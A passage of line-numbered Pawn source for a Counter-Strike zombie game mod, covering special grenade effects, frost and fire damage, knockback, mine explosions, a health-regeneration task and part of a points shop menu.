6521 g_kpdRatio[Victim] = computeKpdRatio(Victim);
6522 g_kpdRatio[Killer] = computeKpdRatio(Killer);
6523 g_kmdValue[Victim] = computeKmdValue(Victim);
6524 g_kmdValue[Killer] = computeKmdValue(Killer);
6525
6526 updateRank(Victim);
6527 updateRank(Killer);
6528 }
6529 new id = read_data(2)
6530 if(is_user_connected(id)) g_bKilling[id] = false
6531}
6532
6533public fw_ThinkGrenade(entity)
6534{
6535 if(!pev_valid(entity)) return HAM_IGNORED
6536
6537 static Float:dmgtime, Float:current_time
6538 pev(entity, pev_dmgtime, dmgtime)
6539 current_time = get_gametime()
6540
6541 if(dmgtime > current_time) return HAM_IGNORED
6542
6543 if(pev(entity, pev_flTimeStepSound) == 5555)
6544 {
6545 Killing_Explode(entity)
6546 return HAM_SUPERCEDE
6547 }
6548
6549 return HAM_IGNORED
6550}
6551
6552public OnGrenadeThink(Entity)
6553{
6554 if ( !pev_valid ( Entity ) ) return HAM_IGNORED;
6555
6556 static Float: DmgTime, Float: CurrentTime;
6557
6558 pev ( Entity, pev_dmgtime, DmgTime );
6559
6560 CurrentTime = get_gametime ( );
6561
6562 if ( DmgTime > CurrentTime ) return HAM_IGNORED;
6563
6564 switch ( pev ( Entity, pev_flTimeStepSound ) )
6565 {
6566 case 1111:
6567 {
6568 InfectionExplode ( Entity )
6569
6570 return HAM_SUPERCEDE;
6571 }
6572 case 2222:
6573 {
6574 FireExplode ( Entity );
6575
6576 return HAM_SUPERCEDE;
6577 }
6578 case 3333:
6579 {
6580 FrostExplode ( Entity );
6581
6582 return HAM_SUPERCEDE;
6583 }
6584 case 4444:
6585 {
6586 HeExplode ( Entity );
6587
6588 return HAM_SUPERCEDE;
6589 }
6590 case 5555:
6591 {
6592 Killing_Explode ( Entity );
6593
6594 return HAM_SUPERCEDE;
6595 }
6596 }
6597
6598 return HAM_IGNORED;
6599}
6600
6601public fwSetModel ( Entity, const Model [] )
6602{
6603 if ( strlen ( Model ) < 8 ) return;
6604
6605 static ClassName [10];
6606
6607 pev ( Entity, pev_classname, ClassName, charsmax ( ClassName ) );
6608
6609 if ( equal ( ClassName, "weaponbox" ) )
6610 {
6611 set_pev ( Entity, pev_nextthink, get_gametime ( ) + 1.0 );
6612
6613 return;
6614 }
6615
6616 if ( Model [7] != 'w' || Model [8] != '_' ) return;
6617
6618 static Float: DmgTime;
6619
6620 pev ( Entity, pev_dmgtime, DmgTime );
6621
6622 if ( DmgTime == 0.0 ) return;
6623
6624 if ( g_bZombie [pev ( Entity, pev_owner )] )
6625 {
6626 if ( Model [9] == 'h' && Model [10] == 'e' )
6627 {
6628 fm_set_rendering ( Entity, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 16 );
6629
6630 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6631 write_byte ( 22 ) ;
6632 write_short ( Entity );
6633 write_short ( TrailSpr );
6634 write_byte ( 10 );
6635 write_byte ( 10 );
6636 write_byte ( 0 );
6637 write_byte ( 250 );
6638 write_byte ( 0 );
6639 write_byte ( 200 );
6640 message_end ( );
6641
6642 set_pev ( Entity, pev_flTimeStepSound, 1111 );
6643 }
6644 }
6645 else if ( Model [9] == 'h' && Model [10] == 'e' )
6646 {
6647 fm_set_rendering ( Entity, kRenderFxGlowShell, 200, 0, 0, kRenderNormal, 16 );
6648
6649 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6650 write_byte ( 22 );
6651 write_short ( Entity );
6652 write_short ( TrailSpr );
6653 write_byte ( 10 );
6654 write_byte ( 10 );
6655 write_byte ( 200 );
6656 write_byte ( 0 );
6657 write_byte ( 0 );
6658 write_byte ( 200 );
6659 message_end ( );
6660
6661 set_pev ( Entity, pev_flTimeStepSound, 2222 );
6662 }
6663 else if ( Model [9] == 'f' && Model [10] == 'l' )
6664 {
6665 fm_set_rendering ( Entity, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 16 );
6666
6667 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6668 write_byte ( 22 );
6669 write_short ( Entity );
6670 write_short ( TrailSpr );
6671 write_byte ( 10 );
6672 write_byte ( 10 );
6673 write_byte ( 0 );
6674 write_byte ( 100 );
6675 write_byte ( 200 );
6676 write_byte ( 200 );
6677 message_end ( );
6678
6679 set_pev ( Entity, pev_flTimeStepSound, 3333 );
6680 }
6681 else if ( Model[9] == 's' && Model[10] == 'm' )
6682 {
6683 fm_set_rendering ( Entity, kRenderFxGlowShell, 250, 100, 0, kRenderNormal, 16 );
6684
6685 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6686 write_byte ( 22 );
6687 write_short ( Entity );
6688 write_short ( TrailSpr);
6689 write_byte ( 10 );
6690 write_byte ( 10 );
6691 write_byte ( 250 );
6692 write_byte ( 40 );
6693 write_byte ( 0 );
6694 write_byte ( 200 );
6695 message_end ( );
6696
6697 set_pev ( Entity, pev_flTimeStepSound, 4444 );
6698 }
6699}
6700
6701public fw_SetModel(entity, const model[])
6702{
6703 if(!pev_valid(entity)) return FMRES_IGNORED
6704
6705 static Float:dmgtime
6706 pev(entity, pev_dmgtime, dmgtime)
6707
6708 if(dmgtime == 0.0) return FMRES_IGNORED
6709
6710 static owner; owner = pev(entity, pev_owner)
6711 if(g_bKilling[owner] && model[9] == 'h' && model[10] == 'e')
6712 {
6713 fm_set_rendering ( entity, kRenderFxGlowShell, 127, 0, 255, kRenderNormal, 16 );
6714
6715 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6716 write_byte ( 22 );
6717 write_short ( entity );
6718 write_short ( TrailSpr );
6719 write_byte ( 10 );
6720 write_byte ( 10 );
6721 write_byte ( 127 );
6722 write_byte ( 0 );
6723 write_byte ( 255 );
6724 write_byte ( 200 );
6725 message_end ( );
6726
6727 set_pev(entity, pev_flTimeStepSound, 5555)
6728 g_bKilling[owner] = false
6729
6730 return FMRES_SUPERCEDE
6731 }
6732
6733 return FMRES_IGNORED
6734}
6735
6736InfectionExplode ( Entity )
6737{
6738 if ( g_bRoundEnd ) return;
6739
6740 static Float: Origin [3];
6741
6742 pev ( Entity, pev_origin, Origin );
6743
6744 CreateBlastInfection ( Origin );
6745
6746 EmitSound ( Entity, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
6747
6748 static Attacker;
6749
6750 Attacker = pev ( Entity, pev_owner );
6751
6752 static Victim;
6753
6754 Victim = -1
6755
6756 while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
6757 {
6758 if ( !is_user_valid_alive ( Victim ) || g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
6759
6760 if ( GetHumans ( ) == 1 )
6761 {
6762 ExecuteHamB ( Ham_Killed, Victim, Attacker, 0 );
6763
6764 continue;
6765 }
6766
6767 EmitSound ( Victim, CHAN_AUTO, g_cHumanNadeInfectSounds[random_num(0, 2)]);
6768
6769 MakeZombie(Attacker, Victim, false, false, false);
6770
6771 }
6772 engfunc ( EngFunc_RemoveEntity, Entity );
6773}
6774
6775FireExplode ( Entity )
6776{
6777 static Float: Origin [3];
6778
6779 pev ( Entity, pev_origin, Origin );
6780
6781 CreateBlastFire ( Origin );
6782
6783 EmitSound ( Entity, CHAN_WEAPON, "ZombieOutstanding/grenade_fire_explode.wav" );
6784
6785 static Victim;
6786
6787 Victim = -1;
6788
6789 while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
6790 {
6791 if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
6792
6793 if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2 )
6794
6795 g_iBurningDuration [Victim] += 4;
6796 else
6797 g_iBurningDuration [Victim] += 4 * 5;
6798
6799 if (!task_exists(Victim + 200, 0))
6800 {
6801 set_task(0.20, "TaskBurn", Victim + 200, "", 0, "b", 0);
6802 }
6803 }
6804 engfunc ( EngFunc_RemoveEntity, Entity );
6805}
6806
6807FrostExplode ( Entity )
6808{
6809 static Float: Origin [3];
6810
6811 pev ( Entity, pev_origin, Origin )
6812
6813 CreateBlastFrost ( Origin )
6814
6815 EmitSound ( Entity, CHAN_WEAPON, "ZombieOutstanding/grenade_frost_explode.wav" );
6816
6817 static Victim;
6818
6819 Victim = -1;
6820
6821 while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
6822 {
6823 if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bFrozen [Victim] || g_bNoDamage [Victim] ) continue;
6824
6825 if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2)
6826 {
6827 static Origin_2 [3]; get_user_origin ( Victim, Origin_2 );
6828
6829 EmitSound (Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav" );
6830
6831 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin_2 );
6832 write_byte ( TE_BREAKMODEL );
6833 write_coord ( Origin_2 [0] );
6834 write_coord ( Origin_2 [1] );
6835 write_coord ( Origin_2 [2] + 24 );
6836 write_coord ( 16 );
6837 write_coord ( 16 );
6838 write_coord ( 16 );
6839 write_coord ( random_num (-50, 50) );
6840 write_coord ( random_num (-50, 50) );
6841 write_coord ( 25 );
6842 write_byte ( 10 );
6843 write_short ( GlassSpr );
6844 write_byte ( 10 );
6845 write_byte ( 25 );
6846 write_byte ( 0x01 );
6847 message_end ( );
6848
6849 continue;
6850 }
6851
6852 fm_set_rendering ( Victim, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25 );
6853
6854 EmitSound ( Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav");
6855
6856 ExecuteHamB(Ham_Item_PreFrame, Victim);
6857
6858 message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, Victim );
6859 write_short ( 0 );
6860 write_short ( 0 );
6861 write_short ( 0x0004 );
6862 write_byte ( 0 );
6863 write_byte ( 100 );
6864 write_byte ( 200 );
6865 write_byte ( 100 );
6866 message_end ( );
6867
6868 if ( pev ( Victim, pev_flags ) & FL_ONGROUND )
6869
6870 set_pev ( Victim, pev_gravity, 999999.9 );
6871 else
6872 set_pev ( Victim, pev_gravity, 0.000001 );
6873
6874 g_bFrozen [Victim] = true;
6875
6876 set_task ( 3.0, "RemoveFreeze", Victim );
6877 }
6878
6879 engfunc ( EngFunc_RemoveEntity, Entity );
6880}
6881
6882public RemoveFreeze ( id )
6883{
6884 if ( !g_bAlive [id] || !g_bFrozen [id] ) return;
6885
6886 g_bFrozen [id] = false;
6887
6888 if ( g_bZombie [id] )
6889 {
6890 if ( g_iPlayerType[id] & 1 )
6891
6892 set_pev ( id, pev_gravity, 0.5);
6893
6894 else if ( g_iPlayerType[id] & 2 )
6895
6896 set_pev ( id, pev_gravity, 0.4);
6897
6898 else
6899
6900 set_pev ( id, pev_gravity, g_fZombieKnockbacks [g_iZombieClass[id]] );
6901 }
6902 else
6903 {
6904 if ( g_iPlayerType[id] & 4 )
6905
6906 set_pev ( id, pev_gravity, 1.0);
6907
6908 else if ( g_iPlayerType[id] & 8 )
6909
6910 set_pev ( id, pev_gravity, 1.0);
6911
6912 else
6913
6914 set_pev ( id, pev_gravity, 1.0);
6915 }
6916
6917 if ( g_bZombie [id] )
6918 {
6919 if ( g_iPlayerType[id] & 1 )
6920
6921 fm_set_rendering ( id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25 );
6922
6923 else if ( g_iPlayerType[id] & 2 )
6924
6925 fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 );
6926
6927 else
6928 fm_set_rendering ( id );
6929 }
6930 else
6931 {
6932 if ( g_iPlayerType[id] & 4 || g_iPlayerType[id] & 8 )
6933
6934 fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 );
6935
6936 else
6937
6938 fm_set_rendering ( id );
6939 }
6940
6941 message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, id );
6942 write_short ( 1<<12 );
6943 write_short ( 0 );
6944 write_short ( 0x0000 );
6945 write_byte ( 0 );
6946 write_byte ( 50 );
6947 write_byte ( 200 );
6948 write_byte ( 100 );
6949 message_end ( );
6950
6951 EmitSound ( id, CHAN_AUTO, "ZombieOutstanding/grenade_frost_break.wav" );
6952
6953 static Origin [3]; get_user_origin ( id, Origin )
6954
6955 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6956 write_byte ( TE_BREAKMODEL );
6957 write_coord ( Origin [0] );
6958 write_coord ( Origin [1] );
6959 write_coord ( Origin [2]+24 );
6960 write_coord ( 16 );
6961 write_coord ( 16 );
6962 write_coord ( 16 );
6963 write_coord ( random_num (-50, 50) );
6964 write_coord ( random_num (-50, 50) );
6965 write_coord ( 25 );
6966 write_byte ( 10 );
6967 write_short ( GlassSpr );
6968 write_byte ( 10 );
6969 write_byte ( 25 );
6970 write_byte ( 0x01 );
6971 message_end ( );
6972}
6973
6974public HeExplode ( Entity )
6975{
6976 static Float: Origin [3];
6977
6978 pev ( Entity, pev_origin, Origin );
6979
6980 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6981 write_byte ( 3 );
6982 engfunc ( EngFunc_WriteCoord, Origin [0] );
6983 engfunc ( EngFunc_WriteCoord, Origin [1] );
6984 engfunc ( EngFunc_WriteCoord, Origin [2] );
6985 write_short ( HExplode );
6986 write_byte ( 30 );
6987 write_byte ( 15 );
6988 write_byte ( 0 );
6989 message_end ( );
6990
6991 static Attacker;
6992
6993 Attacker = pev ( Entity, pev_owner );
6994
6995 for ( new Victim = 1; Victim < g_iMaxClients + 1; Victim ++ )
6996 {
6997 if ( !is_user_connected ( Victim ) || !is_user_alive ( Victim ) ) continue;
6998
6999 if ( g_bZombie [Victim] )
7000 {
7001 static Float: fDistance, Float: fDamage;
7002
7003 fDistance = entity_range ( Victim, Entity );
7004
7005 if ( fDistance < 300.0 )
7006 {
7007 fDamage = 667.0 - fDistance;
7008
7009 ScreenFadeEffect ( Victim, 1.0, 250, 0, 0, fDistance < 220 ? 220 : 205 );
7010
7011 ScreenShakeEffect ( Victim, 1.0 );
7012
7013 EmitSound ( Victim, CHAN_AUTO, "fvox/flatline.wav" );
7014
7015 if ( float ( get_user_health ( Victim ) ) - fDamage > 0.0 )
7016
7017 ExecuteHamB ( Ham_TakeDamage, Victim, Entity, Attacker, fDamage, DMG_BLAST );
7018
7019 else
7020
7021 ExecuteHamB ( Ham_Killed, Victim, Attacker, 4 );
7022
7023 if ( g_iPlayerType[Victim] & 1 && g_iPlayerType[Victim] & 2 ) fDamage *= 0.75;
7024
7025 if ( fDamage >= 500 )
7026
7027 g_iPacks [Attacker] += 2;
7028
7029 else
7030
7031 g_iPacks [Attacker] += 1;
7032
7033 client_print_color ( Attacker, print_team_grey, "^4[Zombie OutStanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName [Victim], fDamage );
7034 }
7035 }
7036 }
7037
7038 engfunc ( EngFunc_RemoveEntity, Entity );
7039}
7040
7041Killing_Explode(ent)
7042{
7043 if (g_roundend) return
7044
7045 static Float:originF[3]
7046 pev(ent, pev_origin, originF)
7047
7048 CreateBlastKilling ( originF );
7049
7050 EmitSound ( ent, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
7051
7052 static attacker
7053 attacker = pev(ent, pev_owner)
7054 if (!is_user_connected(attacker))
7055 {
7056 engfunc(EngFunc_RemoveEntity, ent)
7057 return
7058 }
7059
7060 static victim
7061 victim = -1
7062
7063 while((victim = engfunc(EngFunc_FindEntityInSphere, victim, originF, 240.0)) != 0)
7064 {
7065 if(!is_user_alive(victim) || !g_bZombie[victim] || g_iPlayerType[victim] & 1)
7066 continue
7067 ExecuteHamB(Ham_Killed, victim, attacker, 0)
7068 }
7069
7070 engfunc(EngFunc_RemoveEntity, ent)
7071}
7072
7073CreateBlastInfection ( const Float: Origin [3] )
7074{
7075 engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
7076 write_byte ( 21 );
7077 engfunc ( EngFunc_WriteCoord, Origin [0] );
7078 engfunc ( EngFunc_WriteCoord, Origin [1] );
7079 engfunc ( EngFunc_WriteCoord, Origin [2] );
7080 engfunc ( EngFunc_WriteCoord, Origin [0] );
7081 engfunc ( EngFunc_WriteCoord, Origin [1] );
7082 engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
7083 write_short ( ExploSpr );
7084 write_byte ( 0 );
7085 write_byte ( 0 );
7086 write_byte ( 4 );
7087 write_byte ( 60 );
7088 write_byte ( 0 );
7089 write_byte ( 0 );
7090 write_byte ( 250 );
7091 write_byte ( 0 );
7092 write_byte ( 200 );
7093 write_byte ( 0 );
7094 message_end ( );
7095}
7096
7097CreateBlastKilling ( const Float: Origin [3] )
7098{
7099 engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
7100 write_byte ( 21 );
7101 engfunc ( EngFunc_WriteCoord, Origin [0] );
7102 engfunc ( EngFunc_WriteCoord, Origin [1] );
7103 engfunc ( EngFunc_WriteCoord, Origin [2] );
7104 engfunc ( EngFunc_WriteCoord, Origin [0] );
7105 engfunc ( EngFunc_WriteCoord, Origin [1] );
7106 engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
7107 write_short ( ExploSpr );
7108 write_byte ( 0 );
7109 write_byte ( 0 );
7110 write_byte ( 4 );
7111 write_byte ( 60 );
7112 write_byte ( 0 );
7113 write_byte ( 127 );
7114 write_byte ( 0 );
7115 write_byte ( 255 );
7116 write_byte ( 200 );
7117 write_byte ( 0 );
7118 message_end ( );
7119}
7120
7121CreateBlastFire ( const Float: Origin [3] )
7122{
7123 engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
7124 write_byte ( 21 );
7125 engfunc ( EngFunc_WriteCoord, Origin [0] );
7126 engfunc ( EngFunc_WriteCoord, Origin [1] );
7127 engfunc ( EngFunc_WriteCoord, Origin [2] );
7128 engfunc ( EngFunc_WriteCoord, Origin [0] );
7129 engfunc ( EngFunc_WriteCoord, Origin [1] );
7130 engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
7131 write_short ( ExploSpr );
7132 write_byte ( 0 );
7133 write_byte ( 0 );
7134 write_byte ( 4 );
7135 write_byte ( 60 );
7136 write_byte ( 0 );
7137 write_byte ( 250 );
7138 write_byte ( 40 );
7139 write_byte ( 0 );
7140 write_byte ( 200 );
7141 write_byte ( 0 );
7142 message_end ( )
7143}
7144
7145CreateBlastFrost ( const Float: Origin [3] )
7146{
7147 engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
7148 write_byte ( 21 );
7149 engfunc ( EngFunc_WriteCoord, Origin [0] );
7150 engfunc ( EngFunc_WriteCoord, Origin [1] );
7151 engfunc ( EngFunc_WriteCoord, Origin [2] );
7152 engfunc ( EngFunc_WriteCoord, Origin [0] );
7153 engfunc ( EngFunc_WriteCoord, Origin [1] );
7154 engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
7155 write_short ( ExploSpr );
7156 write_byte ( 0 );
7157 write_byte ( 0 );
7158 write_byte ( 4 );
7159 write_byte ( 60 );
7160 write_byte ( 0 );
7161 write_byte ( 0 );
7162 write_byte ( 100 );
7163 write_byte ( 200 );
7164 write_byte ( 200 );
7165 write_byte ( 0 );
7166 message_end ( );
7167}
7168
7169Func_Explode( iEntity )
7170{
7171 g_iPlantedMines[entity_get_int(iEntity, EV_INT_iuser2)]--;
7172
7173
7174 static Float: flOrigin[ 3 ];
7175 entity_get_vector( iEntity, EV_VEC_origin, flOrigin );
7176
7177 message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
7178 write_byte( TE_EXPLOSION );
7179 engfunc( EngFunc_WriteCoord, flOrigin[ 0 ] );
7180 engfunc( EngFunc_WriteCoord, flOrigin[ 1 ] );
7181 engfunc( EngFunc_WriteCoord, flOrigin[ 2 ] );
7182 write_short( g_hExplode );
7183 write_byte( 55 );
7184 write_byte( 15 );
7185 write_byte( 0 );
7186 message_end( );
7187
7188 message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
7189 write_byte( TE_EXPLOSION );
7190 engfunc( EngFunc_WriteCoord, flOrigin[ 0 ] );
7191 engfunc( EngFunc_WriteCoord, flOrigin[ 1 ] );
7192 engfunc( EngFunc_WriteCoord, flOrigin[ 2 ] );
7193 write_short( g_hExplode );
7194 write_byte( 65 );
7195 write_byte( 15 );
7196 write_byte( 0 );
7197 message_end( );
7198
7199 message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
7200 write_byte( TE_EXPLOSION );
7201 engfunc( EngFunc_WriteCoord, flOrigin[ 0 ] );
7202 engfunc( EngFunc_WriteCoord, flOrigin[ 1 ] );
7203 engfunc( EngFunc_WriteCoord, flOrigin[ 2 ] );
7204 write_short( g_hExplode );
7205 write_byte( 85 );
7206 write_byte( 15 );
7207 write_byte( 0 );
7208 message_end( );
7209
7210 for( new i = 1; i < 33; i++ )
7211 {
7212 if( !is_user_connected( i ) || !is_user_alive( i ) ) continue;
7213 if(g_bZombie[i])
7214 {
7215 static Float: fDistance, Float: fDamage;
7216
7217 fDistance = entity_range(i, iEntity);
7218
7219 if( fDistance < 340 )
7220 {
7221 fDamage = 1900 - fDistance;
7222
7223 if(g_iPlayerType[i] & 1)
7224 fDamage *= 0.75;
7225
7226 static Float: fVelocity[ 3 ];
7227 pev( i, pev_velocity, fVelocity );
7228
7229 xs_vec_mul_scalar( fVelocity, 1.75, fVelocity );
7230
7231 set_pev( i, pev_velocity, fVelocity );
7232
7233 message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenFade" ), _, i );
7234 write_short( 4096 );
7235 write_short( 6096 );
7236 write_short( 0x0000 );
7237 write_byte( 220 );
7238 write_byte( 0 );
7239 write_byte( 0 );
7240 write_byte( fDistance < 220 ? 215 : 205 );
7241 message_end( );
7242
7243 message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenShake" ), _, i );
7244 write_short( 4096 * 100 );
7245 write_short( 4096 * 500 );
7246 write_short( 4096 * 200 );
7247 message_end( );
7248
7249 if( float( get_user_health( i ) ) - fDamage > 0 )
7250 ExecuteHamB( Ham_TakeDamage, i, iEntity, entity_get_int(iEntity, EV_INT_iuser2), fDamage, DMG_BLAST);
7251
7252 else ExecuteHamB( Ham_Killed, i, entity_get_int(iEntity, EV_INT_iuser2), 2);
7253
7254 static cName[ 32 ]; get_user_name( i, cName, 31 );
7255 client_print_color(entity_get_int(iEntity, EV_INT_iuser2), print_team_default, "^4[Zombie Outstanding]^1 Damage to^3 %s^1 ::^4 %0.0f damage", cName, fDamage );
7256 }
7257 }
7258 }
7259
7260 for( new i = 1; i < 33; i++ )
7261 {
7262 if( !is_user_connected( i ) || !is_user_alive( i ) )
7263 continue;
7264 if(!g_bZombie[i])
7265 {
7266 if( entity_range(i, iEntity) < 340 )
7267 {
7268 static Float: fVelocity[ 3 ];
7269 pev( i, pev_velocity, fVelocity );
7270
7271 xs_vec_mul_scalar( fVelocity, 1.5, fVelocity );
7272
7273 set_pev( i, pev_velocity, fVelocity );
7274
7275 message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenShake" ), _, i );
7276 write_short( 4096 * 19 );
7277 write_short( 4096 * 7 );
7278 write_short( 4096 * 24 );
7279 message_end( );
7280 }
7281 }
7282 }
7283
7284 remove_entity( iEntity );
7285}
7286
7287GetLastHuman()
7288{
7289 new i = 1;
7290 while (i <= g_iMaxClients)
7291 {
7292 if (g_bAlive[i] && g_bConnected[i] && !g_bZombie[i])
7293 {
7294 return i;
7295 }
7296 i++;
7297 }
7298 return 0;
7299}
7300
7301GetLastZombie()
7302{
7303 new i = 1;
7304 while (i <= g_iMaxClients)
7305 {
7306 if (g_bAlive[i] && g_bConnected[i] && g_bZombie[i])
7307 {
7308 return i;
7309 }
7310 i++;
7311 }
7312 return 0;
7313}
7314
7315public OnTraceAttack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damage_type)
7316{
7317 if (victim == attacker || !is_user_valid_connected(attacker))
7318 return HAM_IGNORED;
7319
7320 if (g_bRoundStart || g_bRoundEnd )
7321 return HAM_SUPERCEDE;
7322
7323 if (g_bZombie[attacker] == g_bZombie[victim])
7324 return HAM_SUPERCEDE;
7325
7326 if (g_bNoDamage [victim])
7327 return HAM_SUPERCEDE;
7328
7329 if (!g_bZombie[victim] || !(damage_type & DMG_BULLET))
7330 return HAM_IGNORED;
7331
7332 if (g_iPlayerType[victim] & 1 && 0.25 == 0.0)
7333 return HAM_IGNORED;
7334
7335 if (g_iPlayerType[victim] & 2 && 0.25 == 0.0)
7336 return HAM_IGNORED;
7337
7338 static ducking
7339 ducking = pev(victim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND)
7340
7341 if (ducking && 0.25 == 0.0)
7342 return HAM_IGNORED;
7343
7344 static origin1[3], origin2[3]
7345 get_user_origin(victim, origin1)
7346 get_user_origin(attacker, origin2)
7347
7348 if (get_distance(origin1, origin2) > 500)
7349 return HAM_IGNORED;
7350
7351 static Float:velocity[3]
7352 pev(victim, pev_velocity, velocity)
7353
7354 xs_vec_mul_scalar(direction, damage, direction)
7355
7356 xs_vec_mul_scalar(direction, kb_weapon_power[g_iWeapon[attacker]], direction)
7357
7358 if (ducking)
7359 xs_vec_mul_scalar(direction, 0.25, direction)
7360
7361 if (g_iPlayerType[victim] & 1)
7362 xs_vec_mul_scalar(direction, 0.25, direction)
7363
7364 else if (g_iPlayerType[victim] & 2)
7365 xs_vec_mul_scalar(direction, 0.15, direction)
7366
7367 else
7368 xs_vec_mul_scalar(direction, g_fZombieKnockbacks[g_iZombieClass[victim]], direction)
7369
7370 xs_vec_add(velocity, direction, direction)
7371
7372 direction[2] = velocity[2]
7373
7374 set_pev(victim, pev_velocity, direction)
7375
7376 return HAM_IGNORED;
7377}
7378
7379public TaskLight()
7380{
7381 static i;
7382 i = 1;
7383 while (g_iMaxClients + 1 > i)
7384 {
7385 if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 4 && get_user_health(i) < 6000)
7386 {
7387 set_user_health(i, get_user_health(i) + 350);
7388 static origin[3]
7389 get_user_origin(i, origin)
7390 message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
7391 write_byte(TE_PARTICLEBURST)
7392 write_coord(origin[0])
7393 write_coord(origin[1])
7394 write_coord(origin[2])
7395 write_short(50)
7396 write_byte(70)
7397 write_byte(3)
7398 message_end()
7399 set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
7400 ShowSyncHudMsg(i, g_iRegenerationSync, "== REGENERATOR ==^n!!!Regeneration: +350 HP Gained!!!");
7401 }
7402 i += 1;
7403 }
7404 return 0;
7405}
7406
7407public TaskPrintPassword(iPlayer)
7408{
7409 if (g_bConnected[iPlayer])
7410 {
7411 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type a password for your account!")
7412 }
7413 return 0;
7414}
7415
7416public _ShopMenu(iPlayer, iMenu, iItem)
7417{
7418 if (iItem != -3 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
7419 {
7420 static iChoice;
7421 static iDummy;
7422 static cBuffer[3];
7423 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
7424 iChoice = str_to_num(cBuffer);
7425 switch (iChoice)
7426 {
7427 case 0:
7428 {
7429 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7430 {
7431 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7432 }
7433 else
7434 {
7435 if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
7436 {
7437 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!")
7438 }
7439 g_bDoubleDamage[iPlayer] = true;
7440 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7441 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought Double Damage!", g_cName[iPlayer]);
7442 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Double Damage",
7443 g_cName[iPlayer]);
7444 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7445 savePoints(iPlayer)
7446 }
7447 }
7448 case 1:
7449 {
7450 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7451 {
7452 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7453 }
7454 else
7455 {
7456 if (get_user_flags ( iPlayer ) & read_flags ( "r" ))
7457 {
7458 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have this feature!");
7459 return 1
7460 }
7461 g_bServerSlot[iPlayer] = true;
7462 client_cmd(iPlayer, "messagemode amx_password_for_slot");
7463 set_task(0.20, "TaskPrintPassword", iPlayer, "", 0, "a", 15);
7464 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7465 savePoints(iPlayer)
7466 return 1
7467 }
7468 }
7469 case 2:
7470 {
7471 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7472 {
7473 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7474 }
7475 else
7476 {
7477 if (get_user_flags ( iPlayer ) & read_flags ( "m" ))
7478 {
